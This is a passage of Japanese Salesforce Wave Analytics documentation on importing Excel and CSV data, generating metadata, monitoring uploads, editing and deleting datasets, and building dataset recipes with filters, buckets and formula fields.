絞り込まれていないデータの両方を抽出する必要がある場合などです。

• デフォルトでは、複製は各オブジェクトからデータの増分を抽出します。ただし、複製を実行する 1 時間
前以内に行われた変更は対象になりません。頻繁に更新されるレコードがある場合には、この点に注意し
てください。

• 複製は、1 日あたり 24 回のデータフロー実行の制限にカウントされます。たとえば、Sales Wave アプリケー
ション、Service Wave アプリケーション、ユーザデータフロー、および複製を使用している組織には 4 つの
個別のデータフローがあります。それぞれのデータフローを 6 時間ごとに実行するようにスケジュールす
ると、1 日の制限に達します。

• 複製で通知メールが生成されないという既知の問題があります。

Excel データ用の Wave Connector
Salesforce Wave Connector を使用すると、容易に Microsoft Excel 2013 から Wave Analytics にデータをインポートできま
す。
Wave Connector は、デスクトップ版 Excel 2013 および Office 365 の Excel Online 用のアプリケーションとして使用で
きます。Connectorは、Microsoft Office 用アプリストアから、または組織の非公開アプリケーションカタログから
アプリケーションとして入手できます。Connectorをインストールしたら、ポイント & クリックでデータを Excel

から Salesforce にインポートできます。

Wave Connector Excel アプリケーションのインストール
Wave Connector アプリケーションを使用すると、ユーザはすばやく簡単に Excel 2013 からSalesforce Wave Analytics

にデータをインポートできます。

Wave Connector Excel アプリケーションのインストール

ユーザ権限

Excel 2013 から Wave
Analytics にデータをイン
ポートする
• 「外部データを Wave

Analytics にアップロー
ド」

Wave Connector アプリケーションを使用すると、ユーザはすばやく簡単に Excel

2013 から Salesforce Wave Analytics にデータをインポートできます。
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デスクトップ版 Excel 2013、または Office 365 の Office Online 版 Excel を使用している場合、Wave Connector を使用す
ると、容易にデータを Salesforce Wave Analyticsにインポートできます。Connectorをインストールした後、Excel か
らデータを選択し、[送信] をクリックすると、Connector が動作し、データを Wave Analytics にインポートして
データセットを作成します。
ここでは、Connector のインストール手順を説明します。
1. デスクトップまたは Office Online で Excel を開きます。
2. [挿入] タブを開きます。
3. [Office 用アプリ] をクリックします。
4. Wave Connector を検索し、クリックしてインストールします。
5. Salesforce ログイン情報を入力して Connector を開きます。
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Connector をインストールしたら、Connector ウィンドウの指示に従い、Excel データに基づいてデータセットを
作成します。Connectorを開くと自動的に Salesforce Wave Analyticsにログインされます。アプリケーションの使用
方法についての詳細は、Connector ヘルプアイコンをクリックして参照してください。

外部データを使用したデータセットの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

外部データをアップロー
ドする
• 「外部データを Wave

Analytics にアップロー
ド」

ユーザインターフェースから外部データファイルをアップロードするか、外部
データ API を使用してデータセットを作成できます。外部データファイル
(.csv、.gz、または .zip 形式) をアップロードするときに、メタデータファイルも提
供できます。メタデータファイルには、外部データファイルのデータ構造を記
述するメタデータ属性が含まれています。ユーザインターフェースから .csv を
アップロードすると、Wave Analytics が自動的にメタデータファイルを生成しま
す。このファイルをプレビューして変更できます。メタデータファイルを提供
しない場合は、Wave Analyticsがすべての外部データファイル列をディメンション
としてインポートします。

ヒント:  Wave は、アップロードされた CSV とメタデータファイルを、処理
のみを目的として一時的に保存します。データセットが作成されると、Wave

はファイルを消去します。このファイルを後で再利用する場合は、コピー
を保持してください。

外部データファイルをアップロードする前に、『外部データ形式リファレンス』
で形式要件および .csv ファイルとメタデータファイルの例を確認します。

メモ: 外部データ APIを使用して外部データファイルをアップロードするこ
ともできます。API を使用すると、増分抽出の実行や、追加、削除、および
更新/挿入操作の実行など、追加の機能を利用できます。外部データ API に
ついての詳細は、『外部データ API 開発者ガイド』を参照してください。

1. ホームページまたはアプリケーションページで、[作成] > [データセット] を
クリックします。

2. [データセット名] 項目に、データセットの名前を入力します。
名前は、80 文字を超えてはいけません。

3. 異なるアプリケーションでデータセットを作成する場合、[アプリケーション] ドロップダウンリストでア
プリケーションを変更します。

4. [CSV] をクリックします。
5. .csv ファイルを追加します。

.csv ファイルを追加すると、Wave Analytics が対応するメタデータファイルを自動的に生成して追加します。
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メモ: 必要に応じて、生成されたメタデータファイルを使用するのではなく、まったく新しく作成し
た別のメタデータファイルをアップロードできます。独自のメタデータファイルをアップロードする
場合、[データをプレビュー] ボタンは無効になります。

6. 生成されたメタデータファイルのメタデータ属性を変更するには、次の手順を実行します。
a. 必須メタデータ属性を表示して変更するには、[データをプレビュー] をクリックします。

b. 列名を変更するには、列名をクリックします。列名は、データセット内での表示名です。列名は、40文
字を超えてはいけません。
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c. 列のその他の属性を変更するには、列ヘッダーをクリックします。

属性を変更できるのは、基準列と日付列のみです。

d. 同じデータ型の他のすべての列に変更を適用するには、[すべての <データ型> 列に適用] をクリックし
ます。

e. メタデータの変更をメタデータファイルに保存するには、[登録] をクリックします。

メモ: エラーが発生した場合、[登録] ボタンはグレー表示されます。

f. [OK] をクリックして確認メッセージを閉じます。
g. 省略可能なメタデータ属性を変更するには、 をクリックしてメタデータファイルをダウンロードし、

ファイルを編集してからアップロードします。

7. [データセットを作成] をクリックします。
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データファイルのアップロードがスケジュールされます。データアップロードジョブの処理には少し時間
がかかる場合があります。状況はデータモニタで監視できます。アップロードが成功すると、ホームペー
ジまたはアプリケーションページから新しいデータセットを使用できるようになります。

8. [次へ] をクリックして確認メッセージを消します。

メタデータファイル自動生成のルール
ユーザインターフェースから CSV ファイルをアップロードするとき、CSV ファイルが特定の要件に適合する
場合に限り、Wave Analytics で自動的にメタデータファイルが生成されます。
外部データアップロードの監視
外部データファイルをアップロードするとき、Wave Analytics は、指定されたデータセットにデータをアッ
プロードするジョブを起動します。データ監視を使用してアップロードジョブを監視およびトラブルシュー
ティングできます。

メタデータファイル自動生成のルール
ユーザインターフェースから CSV ファイルをアップロードするとき、CSV ファイルが特定の要件に適合する場
合に限り、Wave Analytics で自動的にメタデータファイルが生成されます。
Wave Analytics でメタデータファイルを生成できるようにするには、CSV ファイルが次の要件に適合する必要が
あります。
• ファイルの種別が .csv であり、.gz または .zip ではない。
• ファイルに列ヘッダーが 1 行と少なくとも 1 件のレコードが含まれている。
• CSV ファイルは、『外部データ形式リファレンス』に記載されたすべてのWave Analytics要件を満たさなけれ

ばならない。
Wave Analytics では、CSV ファイルの最初の 100 行に基づいて CSV の列ごとにメタデータ属性が生成されます。
Wave Analytics では、次のルールを使用して CSV の列名が項目表示ラベルに変換されます。
• 特殊文字と空白をアンダースコアに置換する。たとえば、「Stage Name」は「Stage_Name」になります。
• 連続するアンダースコアを 1 つのアンダースコアに置換する。ただし、「__c」で終わる列名は除きます。

たとえば、「stage*&name」は「stage_name」になります。
• 列名の先頭文字が数値の場合、項目表示ラベルに「X」というプレフィックスを付ける。たとえば、「30Day」

は「X30Day」になります。
• 列名に英数字文字がまったく含まれていない場合、項目名を「Column」+ 列番号で置換する。たとえば、4

番目の列名「*&^*(&*(%」は「Column4」になります。
• 項目表示ラベルの先頭と末尾にあるアンダースコアを削除して、表示ラベルがアンダースコアで開始また

は終了しないようにする。
• 派生した項目表示ラベルが既存の表示ラベルと同じ場合は、数値を増分する。たとえば、「X2」がすでに

存在する場合は、「X21」、「X22」、「X23」を使用します。

ヒント: 生成されたメタデータファイルをダウンロードして、メタデータ設定を変更し、アップロードし
て変更を適用できます。メタデータファイルは、データセットの作成または編集時にダウンロードでき
ます。
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外部データアップロードの監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データ監視にアクセスす
る
• 「Wave Analytics デー

タフローの編集」、
「外部データを Wave
Analytics にアップロー
ド」、または「Wave
Analytics の管理」

外部データファイルをアップロードするとき、Wave Analyticsは、指定されたデー
タセットにデータをアップロードするジョブを起動します。データ監視を使用
してアップロードジョブを監視およびトラブルシューティングできます。
データ監視のジョブビュー (1) には、各データフロージョブと外部データアップ
ロードジョブの状況、開始時刻、および所要時間が表示されます。過去 7 日間
のジョブが表示され、ログが 30 日間保持されます。

1.
Wave Analytics で、ギアボタン ( ) をクリックし、[データ監視] をクリックしてデータ監視を開きます。
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ジョブビューがデフォルトで開きます。ジョブビューには、データフロージョブおよびアップロードジョ
ブが表示されます。ジョブビューには、各アップロードジョブ名が <dataset_name upload flow>とし
て表示されます。ジョブの上にマウスポインタを置くと、名前全体を表示できます。

メモ: 外部データアップロードジョブをジョブビューに表示するには、[ファイルのアップロード] 項目
(2) の [表示] が選択されている必要があります。デフォルトでは選択されています。

2. ジョブの最新の状況を表示するには、[ジョブを更新] ボタン ( ) をクリックします。
各ジョブの状況は、次のいずれかになります。

説明状況

ジョブは、開始待ちのキューに入っています。キュー

ジョブは実行中です。実行中

ジョブは失敗しました。失敗

ジョブは正常に完了しました。成功

ジョブは正常に完了しましたが、一部の行が失敗し
ました。

警告

3. ジョブの実行時の詳細を表示するには、ジョブノード (3) を展開します。
実行時の詳細は、ジョブの下に表示されます。実行時の詳細セクションで右にスクロールし、処理された
行に関する情報を表示します。

4. 失敗した行のあるジョブをトラブルシューティングするには、エラーメッセージを確認します。また、実
行時の詳細セクションでダウンロードボタン (1) をクリックしてエラーログをダウンロードします。

メモ: ダウンロードボタンは、外部データファイルをアップロードしたユーザにのみ表示されます。
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エラーログには失敗した行のリストが含まれます。

5. 失敗したジョブをトラブルシューティングするには、エラーメッセージと実行時の詳細を確認します。

データセットの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

「Wave Analytics の使用」とデータセッ
トのアプリケーションへのエディタアク
セス権

データセット編集ページを表示する

「Wave Analytics の使用」とデータセッ
トのアプリケーションへのエディタアク
セス権

データセット名、アプリケーション、拡
張メタデータを更新する

「Wave Analytics の使用」とデータセッ
トのアプリケーションへのエディタアク
セス権

データセットを削除する

「外部データを Wave Analytics にアップ
ロード」とデータセットのアプリケー
ションへのエディタアクセス権

データをアップロードおよびプレビュー
する

「Wave Analytics データフローの編集」データセットセキュリティ述語を編集す
る

データセットを編集して、データセット名、アプリケーション、セキュリティ述語、またはデータセットに関
連付けられた拡張メタデータ (XMD) ファイルを変更できます。外部データファイルから作成されたデータセッ
トについては、新しい外部データファイルまたはメタデータファイルをアップロードして、データまたはメタ
データを更新することもできます。
外部データファイルを追加すると、Wave Analyticsが対応するメタデータファイルを生成して追加します。メタ
データをさらに変更するには、[データをプレビュー]をクリックするか、生成されたメタデータファイルをダ
ウンロードして編集できます。独自のメタデータファイルをアップロードして生成されたファイルを上書きす
ることもできます。
1. ホームページまたはアプリケーションページで、[データセット] タブをクリックします。
2. 編集するデータセットにマウスポインタを置いて、[編集] をクリックします。
3. 必要に応じて次のオプションを設定します。
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説明オプション

データセットの名前を変更する場合は、新しい名前
を入力します。名前は、80 文字を超えてはいけませ
ん。

データセット名

データセットを別のアプリケーションに移動する場
合は、新しいアプリケーションを選択します。

アプリケーション

データセットに関連付けられたダッシュボードの形
式をカスタマイズする場合は、拡張メタデータファ
イルを指定します。

拡張メタデータファイル (JSON) の追加

拡張メタデータファイルについての詳細は、『拡張
メタデータ (XMD) リファレンス』を参照してくださ
い。

データセット内の既存のデータを外部データファイ
ルのデータに置き換える場合は、外部データファイ

外部データファイル (CSV) の追加

ルを指定します。最大ファイルサイズは 500 MB で
す。.CSV、.GZ、または .ZIP ファイルをアップロード
できます。
外部データファイルとメタデータファイルについて
の詳細は、『外部データ形式リファレンス』を参照
してください。

外部データファイルの構造を再定義する場合は、メ
タデータファイルを指定します。新しいメタデータ

メタデータファイル (JSON) の追加

ファイルをアップロードする場合、対応する外部
データファイルもアップロードする必要がありま
す。
メタデータファイルについての詳細は、『外部デー
タ形式リファレンス』を参照してください。

データセットに行レベルのセキュリティを適用する
場合は、セキュリティ述語を追加します。

セキュリティ述語

述語についての詳細は、「データセットの行レベル
セキュリティ」を参照してください。

4. 新しい .csv ファイルをアップロードした場合、必須メタデータ属性を表示して変更するには、[データをプ
レビュー] をクリックします。
省略可能なメタデータは後で変更できます。
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メモ: 独自のメタデータファイルをアップロードした場合、[データをプレビュー]ボタンは無効になり
ます。

[データをプレビュー] をクリックすると、プレビューページが表示されます。

5. 列ごとに、次の手順を実行します。
a. 列名を変更するには、列名をクリックします。列名は、データセット内での表示名です。列名は、40文

字を超えてはいけません。

b. 列のその他の必須属性を変更するには、列ヘッダーをクリックします。

属性を変更できるのは、基準列と日付列のみです。
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c. 同じデータ型の他のすべての列に変更を適用するには、[すべての <データ型> 列に適用] をクリックし
ます。

6. プレビューページでのメタデータの変更をメタデータファイルに保存するには、[登録]をクリックします。

メモ: エラーがある場合、[実行] ボタンはグレー表示されます。

7. [OK] をクリックして確認メッセージを閉じます。
8. プレビューページには表示されない省略可能なメタデータ属性を変更するには、 をクリックしてメタ

データファイルをダウンロードし、ファイルを編集してからアップロードします。
9. [データセットを更新] をクリックします。
10. [次へ] をクリックして確認メッセージを消します。

データセットの拡張メタデータの更新
データセットの拡張メタデータ (XMD) ファイルでは、データセットに関連付けられたダッシュボードの形
式をカスタマイズできます。データセットの編集ページで XMD ファイルを更新できます。
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データセットの拡張メタデータの更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データセットの拡張メタ
データを更新する
• 「Wave Analytics の使

用」とデータセットの
アプリケーションへの
エディタアクセス権

データセットの拡張メタデータ (XMD) ファイルでは、データセットに関連付けら
れたダッシュボードの形式をカスタマイズできます。データセットの編集ペー
ジで XMD ファイルを更新できます。

重要:  XMD ファイルでは、XMD 2.0 構文を使用して、5 MB を超えないように
する必要があります。拡張メタデータファイルと XMD 2.0 構文についての詳
細は、『拡張メタデータ (XMD) リファレンス』を参照してください。

1. Wave Analytics ページで、[データセット] タブをクリックします。
2. 更新するデータセットにマウスポインタを置いて、 をクリックし、[編

集] をクリックします。
データセット編集ページが開きます。

3. [拡張メタデータファイル (JSON) を追加] で、[ダウンロード] ボタンをクリック
して現在の XMD ファイルをダウンロードします。バックアップとして使用で
きるようにこれを保存します。

4. [拡張メタデータファイル (JSON) を追加] で、[ファイルを選択するか、ここにファイルをドラッグしてくだ
さい...] をクリックして新しい XMD ファイルをアップロードします。

5. [データセットを更新] をクリックします。
XMD ファイルが有効でない場合は、エラーメッセージが表示されます。ファイルの構文を修正し、再度アッ
プロードします。

メモ: データセット編集ページを開いたときに XMD ファイルにエラーメッセージが表示された場合、現在
のファイルは無効です。

手順 2 を実行してファイルをダウンロードし、XMD 2.0 に変換します。次に、手順 4 ～ 5 を実行して変換済
みファイルを再度アップロードし、データセットを更新します。
拡張メタデータファイルを XMD 2.0 構文に変換する方法についての詳細は、『拡張メタデータ (XMD) リファ
レンス』を参照してください。
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データセットの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データセットを削除する
• 「Wave Analytics の使

用」とデータセットの
アプリケーションへの
エディタアクセス権

少なくともエディタアクセス権があれば、[私の非公開アプリケーション] または
共有アプリケーションから不要なデータセットを削除できます。データセット
を削除することで使用していないデータを減らし、組織の登録済みデータセッ
ト全体の行制限への到達を回避できます。
データセットを削除すると、Wave Analytics はデータセットを完全に削除します
が、そのデータセットを参照している、対応するレンズまたはダッシュボード
は削除しません。削除されたデータセットを参照するレンズとダッシュボード
は使用できなくなります。そのため、データセットを削除する前に関連付けら
れたレンズとダッシュボードを削除することをお勧めします。
データフロー変換 (edgemart や sfdcRegister など) でデータセットを参照している場
合、データセットを削除するには、事前に参照を削除する必要があります。た
とえば、「Opportunities」データセットを削除するには、次のデータフロースニ
ペットから sfdcRegister 変換を削除する必要があります。

{
...

"Register_Dataset": {
"action": "sfdcRegister",
"parameters": {

"alias": "Opportunities",
"name": "Opportunities",
"source": "Extract_Opportunities"

}
},

...}

警告: 削除されたデータセットは元に戻せません。
1. ホームページまたはアプリケーションページで、[データセット] タブをクリックします。
2. 削除するデータセットにマウスポインタを置いて、[編集] をクリックします。
3. [データセットを削除] をクリックします。

該当する場合は、Wave Analytics に、そのデータセットを参照し、ユーザに参照アクセス権のあるすべての
レンズとダッシュボードのリストが表示されます。データセットの削除後、そのデータセットを参照する
レンズまたはダッシュボードは使用できなくなります。

4. [完全に削除] をクリックして確認します。
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レシピを使用したデータセットの準備
データセットレシピは、既存のデータセットおよび複製からデータを取得して準備し、結果を新しいデータ
セットに出力できるユーザインターフェースツールです。レシピを使用して、複数のデータセットまたは複製
のデータを結合したり、データをバケット化したり、数式項目を追加したり、項目値を変換してデータを整理
したりします。対象データセットを作成する前に項目の削除や不要な行の絞り込みを行います。
データセットレシピは、特定のソースデータセットまたは複製に対して実行される一連の保存済みの変換仕様
(ステップ) です。レシピを実行すると変換仕様が適用され、結果が新しい対象データセットに出力されます。
レシピを定期的に実行するようスケジュールすることで、対象データセットを最新の状態に維持できます。

レシピを使用して、さまざまなソースからデータを組み合わせて項目の値を変更し、作成する新しいデータ
セットの一貫性を保持します。その後、この新しいデータセットは、探索またはダッシュボードの作成を目的
として、またはデータフローや他のレシピ内でスタンドアロンデータセットとして使用できます。
レシピのソースデータでは、次のことができます。
• 別のデータセットまたは複製から項目を追加する。
• 項目を削除する。
• 行を絞り込む。
• バケット項目を追加する。
• 数式項目を追加する。
• 項目値を変換する。

データセットレシピの作成
レシピを使用して、複数のデータセットまたは複製のデータを結合したり、バケットや数式項目を追加し
たり、行を絞り込んだり、項目値を変換したりします。その後、結果を新しい対象データセットに出力で
きます。
データセットレシピの管理および監視
データマネージャの [準備する] タブでレシピや対象データベースの状況を確認します。レシピを開いて、
レシピの更新、実行、または削除を行うことができます。

データセットレシピの作成
レシピを使用して、複数のデータセットまたは複製のデータを結合したり、バケットや数式項目を追加した
り、行を絞り込んだり、項目値を変換したりします。その後、結果を新しい対象データセットに出力できま
す。
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ヒント: 開始する前に、作成する対象データセットの要件を検討することをお勧めします。次の質問につ
いて考慮してください。
• 作業するデータはデータセットまたは複製されたオブジェクトに存在していますか?

• データを結合する場合、どのようにデータを関連付けますか?

• 対象データセットにはどのような項目が必要ですか?

• 項目値を変換する必要がありますか?

• どのようなアプリケーションで対象データセットを作成しますか?

• 対象データセットのデータへのアクセスを制御する必要がありますか?

準備が整ったら、次の手順を実行してデータセットレシピを作成します。

データセットレシピの開始
データセットレシピを開始するには、次の手順を実行します。
データセットレシピのプレビューデータの設定
データセットレシピには、作業しているデータのプレビューが表示されます。このプレビューに表示され
る項目や行数を設定できます。大きなデータセットを使用している場合、プレビューのサイズを縮小させ
ると、レシピにステップを追加したときのデータ更新時間を短縮できます。
データセットレシピのデータの追加
他のデータセットまたは複製から項目を追加してレシピのデータを結合します。
データセットレシピの検索条件の追加
データセットレシピのデータを絞り込み、対象データセットで必要のない行を削除します。
データセットレシピの基準項目のバケット化
項目をデータセットレシピに追加して、指定した基準項目の値をバケット化します。
データセットレシピのディメンション項目のバケット化
項目をデータセットレシピに追加して、指定したディメンション項目の値をバケット化します。
データセットレシピの数式項目の追加
算術演算子と算術関数を使用してレシピ内の基準から新しい値を計算するための数式項目を追加します。
データセットレシピの項目の変換
特に各種ソースのデータを結合する場合、データの一貫性を確保できないことがあります。データセット
レシピでは、項目を変換して対象データセットの値の一貫性を確保できます。大文字/小文字を変更した
り、値を分割または切り捨てて必要な部分のみを取得したり、不正な値を置き換えたりします。
データセットレシピの項目の移動
データを追加して項目を変換すると、レシピのプレビューの項目数が増加します。そのため、作業する項
目を見つけづらくなります。項目ナビゲータを使用すると、必要な項目をすばやく見つけたり、不要な項
目を非表示にしたりできます。ナビゲータには、API 参照名やデータ型などの項目の属性も表示されます。
レシピステップの移動および編集
データを準備するにつれ、各変更内容がレシピステップとして左側に表示されます。これらのステップを
レシピの履歴だと考えてください。この履歴を移動して、レシピの各フェーズでデータがどのようになっ
ているのかを確認できます。確認した内容に問題があれば、ステップを編集または削除できます。
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データセットレシピの保存
対象データセットを作成する準備がまだできていない場合、レシピを保存して後で戻ります。保存ではス
テップのみが保存されるため、データセットを作成する必要はありません。
データセットレシピの実行
新しいレシピを実行して対象データセットを作成するか、既存のレシピを実行して対象データセットを更
新します。

データセットレシピの開始

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

レシピを作成する
• 「Wave Analytics デー

タフローの編集」

データセットレシピを開始するには、次の手順を実行します。
1. Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を選

択してデータマネージャを開きます。
新しいブラウザタブでデータマネージャが開きます。

2. データマネージャで、[準備する] タブをクリックします。
[準備する] タブに既存のレシピのリストが表示されます。

3. [レシピを作成] をクリックします。
4. データセットのリストから、準備するデータが含まれているデータセットを

クリックします。または、複製を有効にしている場合、代わりに [複製] タブ
をクリックして複製を選択することもできます。

メモ: 選択した複製が少なくとも 1 回は実行されて完了していることを
確認します。

レシピの名前を入力するように求められます。
5. レシピ名を入力し、[続行] をクリックします。

メモ: ここで入力したレシピ名は、対象データセット名にも使用されま
す。

データセットレシピページが開き、選択したデータセットまたは複製のデー
タのプレビューが表示されます。

データセットレシピのプレビューデータの設定
データセットレシピには、作業しているデータのプレビューが表示されます。このプレビューに表示される項
目や行数を設定できます。大きなデータセットを使用している場合、プレビューのサイズを縮小させると、レ
シピにステップを追加したときのデータ更新時間を短縮できます。
データセットレシピで作業している間、常にページの上部にプレビューのサイズが表示されます。
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をクリックして、プレビューに表示される内容を変更します。

レシピのプレビューデータを設定するために実行できる操作を次に示します。
1. リストに項目が表示されていない場合は、ここで項目名の入力を開始すると、リストが絞り込まれます。
2. 項目のプレビューが必要かどうかわからない場合は、リストの項目をクリックすると、その値のプレビュー

がここに表示されます。
3. 項目のプレビューが必要ない場合は、ここでオフにすると、その項目はプレビューされなくなります。
4. プレビューの行数を減らしたい場合は、表示する行数 (最初の [1000] 行、[5000] 行、[10000] 行) を選択し、並

び替えの基準となる項目を選択します。
完了したら [適用] をクリックしてレシピに戻ります。

メモ:  [レシピのプレビュー] には、最大で 100 項目を表示できます。デフォルトでは、プレビューから項
目を削除すると、対象データセットに含まれなくなります。ただし、データセットの作成時に項目を再
度選択できます。
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データセットレシピのデータの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

レシピを作成する
• 「Wave Analytics デー

タフローの編集」

他のデータセットまたは複製から項目を追加してレシピのデータを結合します。
データをレシピに追加する場合、追加する項目が含まれるルックアップデータ
セットまたは複製オブジェクトを選択します。また、既存のデータと新しいデー
タのレコードを照合するマージキー項目も選択します。たとえば、ユーザ項目
を商談レコードに追加するには、ユーザ ID 項目と商談所有者 ID 項目をマージ
キーとして使用します。
データの追加方法を示す別の例も見てみましょう。「US Leads」というデータ
セットからレシピを開始し、別のデータセットから郵便番号に基づいてデモグ
ラフィックデータを追加するとします。各データセットの郵便番号項目をマー
ジキーとして使用できます。
1.

データセットレシピページで、[データを追加] ボタン ( ) をクリックしま
す。

2. [データセット] タブまたは [複製] タブのいずれかを選択し、追加するデータ
セットまたはオブジェクトをクリックします。

3. 元のデータセットで列ヘッダーをクリックしてマージキー項目として選択し、ルックアップデータセット
でも同じ作業を行います。

次に、[続行] をクリックします。

重要: Wave データセットには、既存の日時項目から自動的に派生した日時コンポーネント項目 (年、四
半期、月など) が含まれます。これらのコンポーネント項目はマージキーとして使用できません。

4. 列ヘッダーをクリックするか、列のチェックボックスをオンにして、追加する各項目を選択します。
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次に、[続行] をクリックします。

メモ: ルックアップデータセットのプレビューには、最大で 100 項目表示できます。プレビューを変更
するか、項目を非表示にして、必要な項目のみ表示するようにしてください。データセットを作成す
るときに、新しいデータセットで必要なすべてのルックアップ項目を選択できます。

データを追加するたびに、レシピに新しいステップが作成され、追加された項目が [レシピのプレビュー] に表
示されます。ステップにマウスポインタを置いて をクリックすると、編集オプションや削除オプション
にアクセスできます。
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データセットレシピの検索条件の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

レシピを作成する
• 「Wave Analytics デー

タフローの編集」

データセットレシピのデータを絞り込み、対象データセットで必要のない行を
削除します。
データセットレシピに検索条件を追加する手順は、次のとおりです。
1.

データセットレシピページで、[データを絞り込み] ボタン ( ) をクリック
します。
[データ行を絞り込み] ダイアログが表示されます。

2. [項目を選択]リストから、絞り込みの条件となる項目を選択します。レシピの任意の項目 (非表示になって
いる項目を含む) から選択できます。

3. [比較を選択] リストから、演算子を選択します。
4. 3 番目の項目に、検索条件値を入力します。その後、[続行] をクリックします。

メモ: データセットレシピの検索条件は大文字と小文字が区別されます。

5.
別の条件を入力するには、 をクリックし、手順 2 ～ 4 を繰り返します。

6. すべての条件を追加したら、[行を絞り込み] をクリックします。
検索条件がレシピの左ペインにステップとして表示されます。
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メモ: データセットレシピの検索条件は、すべての条件を満たす行のみを絞り込みます。

データセットレシピの基準項目のバケット化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

レシピを作成する
• 「Wave Analytics デー

タフローの編集」

項目をデータセットレシピに追加して、指定した基準項目の値をバケット化し
ます。
バケット項目では、別の項目の既存の値に基づいて新しい値を作成できます。
たとえば、世帯の人数に基づいて世帯を小、中、大に分類するためにバケット
項目を使用します。

サイズのカテゴリ世帯の人数

Small (小)1 ～ 2

Medium (中)3 ～ 5

Large (大)6 以上

1. レシピのプレビューでその列ヘッダーをクリックするか、項目ナビゲータで
クリックして、バケット化する項目を選択します。

2.
[バケットを追加] ボタン ( ) をクリックします。
2 つの範囲があるバケットダイアログが表示されます。
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3. [範囲 1] には、最初のバケットの値と名前を入力します。[範囲 1] の値よりも小さい値の行にこのバケット
名が割り当てられます。この例では、3 よりも小さい値の行に、新しいバケット項目の [Small (小)] の
値が割り当てられます。

[範囲 2] には、[範囲 1] の値が入力されます。
4. バケット項目に複数のバケットがある場合、[追加>>] をクリックして別の範囲を追加します。
5. 追加する各範囲で、値の範囲とバケット名を入力します。最初の値以上、2 番目の値未満の値がある行にこ

のバケット名が割り当てられます。この例では、3、4、5 の値の行に、新しいバケット項目の [Medium

(中)] の値が割り当てられます。

6. 手順 4 ～ 5 を繰り返して、必要なバケットを追加します。
7. 最後の範囲に値とバケット名を入力します。この値以上の値の行にこのバケット名が割り当てられます。

この例では、6 以上の値の行に、新しいバケット項目の [Large (大)] の値が割り当てられます。

8. すべての範囲が完了したら、[バケット項目を作成] をクリックします。
レシピのプレビューのソース項目の横に新しいバケット項目が表示されます。

ヒント: バケット項目を使用して、レシピの行を絞り込むことができます。
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データセットレシピのディメンション項目のバケット化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

レシピを作成する
• 「Wave Analytics デー

タフローの編集」

項目をデータセットレシピに追加して、指定したディメンション項目の値をバ
ケット化します。
バケット項目では、別の項目の既存の値に基づいて新しい値を作成できます。
たとえば、タイプに応じてサポートケースの商品を分類するためにバケット項
目を使用します。

商品カテゴリ商品

HVAC (冷暖房)HVAC Ctrl (冷暖房調整)、HeatWave (暖房)、
Home A/C (家庭用空調装置)

Humidity (湿度)Humidity Ctrl (湿度調整)、Humidity Unit (除
湿/加湿器)、Home Humidity (家庭用除湿/

加湿器)

Parts (部品)Compressor (コンプレッサー)、Condenser

(コンデンサー)、Thermostat (サーモス
タット)

1. レシピのプレビューでその列ヘッダーをクリックするか、項目ナビゲータで
クリックして、バケット化するディメンション項目を選択します。

2.
[バケットを追加] ボタン ( ) をクリックします。
バケットダイアログが表示されます。

3. [バケット 1] 項目に、最初のバケットの名前を入力します。
4. [次の値...] ボックスに、このバケットに割り当てる値を入力します。各値の後で Tab キーを押して次の値を

入力します。
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この例では、[HVAC Ctrl (冷暖房調整)]、[HeatWave (暖房)]、[Home A/C (家庭用空調装置)] 商品値
が含まれる行に、新しいバケット項目の [HVAC (冷暖房)] の値が割り当てられます。

5. バケットを追加するには、 をクリックし、手順 3 ～ 4 を繰り返します。
6. バケット化していない残りの値をバケット化するには、[残りの値の対応付け先] を選択して、これらの値

のバケットを入力します。
このオプションを選択しない場合、バケット項目でない値のある行は、新しいバケット項目でも同じ値が
保持されます。

7. すべてのバケットが完了したら、[バケット項目を作成] をクリックします。
レシピのプレビューのソース項目の横に新しいバケット項目が表示されます。

ヒント: バケット項目を使用して、レシピの行を絞り込むことができます。

メモ: 日付項目はバケット化できません。
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データセットレシピの数式項目の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

レシピを作成する
• 「Wave Analytics デー

タフローの編集」

算術演算子と算術関数を使用してレシピ内の基準から新しい値を計算するため
の数式項目を追加します。
数式項目では、基準項目の既存の値に基づいて新しい値を計算できます。数式
ビルダーにより、入力時に項目と関数が提案されます。
1.

[数式項目を追加] ボタン ( ) をクリックします。
数式項目ダイアログが表示されます。

2. [数式項目名] 項目に、名前を入力します。
